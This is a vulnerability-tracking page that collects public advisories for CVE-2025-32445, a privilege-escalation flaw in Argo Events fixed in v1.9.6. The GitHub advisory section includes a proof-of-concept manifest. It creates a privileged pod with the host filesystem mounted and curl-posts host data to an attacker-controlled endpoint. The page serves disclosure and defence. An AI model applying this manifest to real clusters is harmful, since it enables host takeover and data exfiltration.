Public mode

No access to your tenant or devices. Every item links to its source. What this means

Sources need attention Customize Public modeDiscuss ChangeIntel on Discord

Users can gain privileged access to the host system and cluster with EventSource and Sensor CR

CVSS 3.1 10.0 CRITICALEUVD CVSS 3.1 10.0 CVSS 3.1 · [email protected] · Secondary 9.9 CRITICALCVSS_V3 Publisher rating CRITICALFixed by github.com/argoproj/argo-events 1.9.6osv · severity unknownFixed by github.com/argoproj/argo-events 1.9.6KEV status unknown

cve-program · CVE-2025-32445

Published

Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.

Read the publisher's advisory

euvd · EUVD-2025-10986

Published

Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.

Read the publisher's advisory

nvd · CVE-2025-32445

Published

Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.

Read the publisher's advisory

osv · GHSA-hmp7-x699-cvhq

Published

### Summary: A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. ### Details: The `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below. ```golang if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil { if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil { return nil, err } } ``` With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`. Here is an example that demonstrates the vulnerability. ``` apiVersion: argoproj.io/v1alpha1 kind: EventSource metadata: name: poc-vulnerable-eventsource spec: webhook: security-test: port: "12000" endpoint: "/webhook" template: container: image: ubuntu:latest command: ["/bin/bash"] args: [ "-c", "apt-get update && apt-get install -y curl && while true; do rm -f /tmp/data; echo '=== containerd socket ===' > /tmp/data 2>&1; ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1; echo '=== proof of host access ===' >> /tmp/data 2>&1; cat /host/etc/hostname >> /tmp/data 2>&1; curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/; sleep 300; done" ] securityContext: privileged: true capabilities: add: ["SYS_ADMIN"] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / ``` ### Impact: - Multi-tenant Clusters: - Tenant isolation broken - Non-admin users can gain host/cluster access - Access to other tenants' data - Security Model Bypass: - RBAC restrictions circumvented - Pod Security Policies/Standards bypassed - Host system compromised ### Patches A [patch](https://github.com/argoproj/argo-events/pull/3528) for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed. `v1.9.6` ### Credits This vulnerability was found & reported by: @thevilledev The Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.

Read the publisher's advisory

osv · GO-2025-3608

Published

Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR in github.com/argoproj/argo-events

Read the publisher's advisory

Affected versions, risk and source history

Exploitation and risk

Source status

CISA KEV lists vulnerabilities known to be exploited. FIRST EPSS estimates the likelihood of exploitation in the next 30 days. An unavailable score does not mean zero risk.

Which CVEs have scores here?

This view includes predictions for CVE identifiers explicitly listed in public NuGet advisories. Microsoft release pages have their own prediction coverage. Check source status for the scope and latest checks.

No exploitation or prediction data is available here for these CVEs. This does not mean they are safe or unlikely to be exploited.

cve-program · CVE-2025-32445

Published

Users can gain privileged access to the host system and cluster with EventSource and Sensor CR

Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.

Source published
15 Apr 2025 19:22:36 UTC
Source modified
15 Apr 2025 20:07:10 UTC
Saved here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

Source: cve-program · CVE Program Terms of Use. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

euvd · EUVD-2025-10986

Published

Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having dire…

Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.

Additional publisher context

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Apr 15, 2025, 7:22:36 PM

dateUpdated: Apr 15, 2025, 8:07:10 PM

1 related source bulletins · separate from aliases

openSUSE-SU-2025:15017-1: govulncheck-vulndb-0.0.20250422T181640-1.1 on GA media

CVE-2019-15119 · CVE-2025-1386 · CVE-2025-2424 · CVE-2025-24358 · CVE-2025-2475 · CVE-2025-24839 · CVE-2025-24866 · CVE-2025-2564 · CVE-2025-27538 · CVE-2025-27571 · CVE-2025-27936 · CVE-2025-30206 · CVE-2025-31363 · CVE-2025-32093 · CVE-2025-32431 · CVE-2025-32445 · CVE-2025-32793 · CVE-2025-32963 · CVE-2025-3801 · CVE-2025-43970 · CVE-2025-43971 · CVE-2025-43972 · CVE-2025-43973

Source published
Apr 15, 2025, 7:22:36 PM (timezone not stated)
Source modified
Apr 15, 2025, 8:07:10 PM (timezone not stated)
Saved here
15 Nov 2026 03:41:31 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

Source: euvd · ENISA EUVD · source terms and attribution apply. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

EUVD CVSS 3.1 · 10.0 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

nvd · CVE-2025-32445

Published

Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having dire…

Argo Events is an event-driven workflow automation framework for Kubernetes. A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. The EventSource and Sensor CRs allow the corresponding orchestrated pod to be customized with spec.template and spec.template.container (with type k8s.io/api/core/v1.Container), thus, any specification under container such as command, args, securityContext , volumeMount can be specified, and applied to the EventSource or Sensor pod. With these, a user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under template. This vulnerability is fixed in v1.9.6.

Additional publisher context

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Deferred

Weakness classifications: CWE-250

Original publisher date fields

published: 2025-04-15T20:15:39.807

lastModified: 2026-06-17T09:12:00.290

Source published
15 Apr 2025 20:15:39 UTC
Source modified
17 Jun 2026 09:12:00 UTC
Saved here
25 Oct 2026 02:24:48 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

Source: nvd · NIST NVD usage terms; underlying source attribution retained. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS 3.1 · [email protected] · Secondary · 9.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

osv · GHSA-hmp7-x699-cvhq

Published

Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR

### Summary: A user with permission to create/modify EventSource and Sensor custom resources can gain privileged access to the host system and cluster, even without having direct administrative privileges. ### Details: The `EventSource` and `Sensor` CRs allow the corresponding orchestrated pod to be customized with `spec.template` and `spec.template.container` (with type `k8s.io/api/core/v1.Container`), thus, any specification under `container` such as `command`, `args`, `securityContext `, `volumeMount` can be specified, and applied to the EventSource or Sensor pod due to the code logic below. ```golang if args.EventSource.Spec.Template != nil && args.EventSource.Spec.Template.Container != nil { if err := mergo.Merge(&eventSourceContainer, args.EventSource.Spec.Template.Container, mergo.WithOverride); err != nil { return nil, err } } ``` With these, A user would be able to gain privileged access to the cluster host, if he/she specified the EventSource/Sensor CR with some particular properties under `template`. Here is an example that demonstrates the vulnerability. ``` apiVersion: argoproj.io/v1alpha1 kind: EventSource metadata: name: poc-vulnerable-eventsource spec: webhook: security-test: port: "12000" endpoint: "/webhook" template: container: image: ubuntu:latest command: ["/bin/bash"] args: [ "-c", "apt-get update && apt-get install -y curl && while true; do rm -f /tmp/data; echo '=== containerd socket ===' > /tmp/data 2>&1; ls -la /host/run/containerd/containerd.sock >> /tmp/data 2>&1; echo '=== proof of host access ===' >> /tmp/data 2>&1; cat /host/etc/hostname >> /tmp/data 2>&1; curl -X POST --data-binary @/tmp/data http://<attacker-controlled-endpoint>:8000/; sleep 300; done" ] securityContext: privileged: true capabilities: add: ["SYS_ADMIN"] volumeMounts: - name: host-root mountPath: /host volumes: - name: host-root hostPath: path: / ``` ### Impact: - Multi-tenant Clusters: - Tenant isolation broken - Non-admin users can gain host/cluster access - Access to other tenants' data - Security Model Bypass: - RBAC restrictions circumvented - Pod Security Policies/Standards bypassed - Host system compromised ### Patches A [patch](https://github.com/argoproj/argo-events/pull/3528) for this vulnerability has been released in the following Argo Events version , which only limited properties under `spec.template.container` are allowed. `v1.9.6` ### Credits This vulnerability was found & reported by: @thevilledev The Argo team would like to thank him for his responsible disclosure and constructive communications during the resolve of this issue.

Source published
14 Apr 2025 17:47:39 UTC
Source modified
10 Sep 2026 03:50:57 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Publisher rating · CRITICAL

osv · GO-2025-3608

Published

Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR in github.com/argoproj/argo-events

Argo Events users can gain privileged access to the host system and cluster with EventSource and Sensor CR in github.com/argoproj/argo-events

Source published
22 Apr 2025 16:56:33 UTC
Source modified
4 Feb 2026 04:09:22 UTC
Saved here
24 Oct 2026 13:19:41 UTC
Source terms
OSV · upstream source license applies

Original source record · Cite this exact observation · Complete original publisher JSON

Source: osv · OSV · upstream source license applies. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 15 Nov 12:11 UTC · 256 of 275 readable · 252 fully read · documentation 469/469 current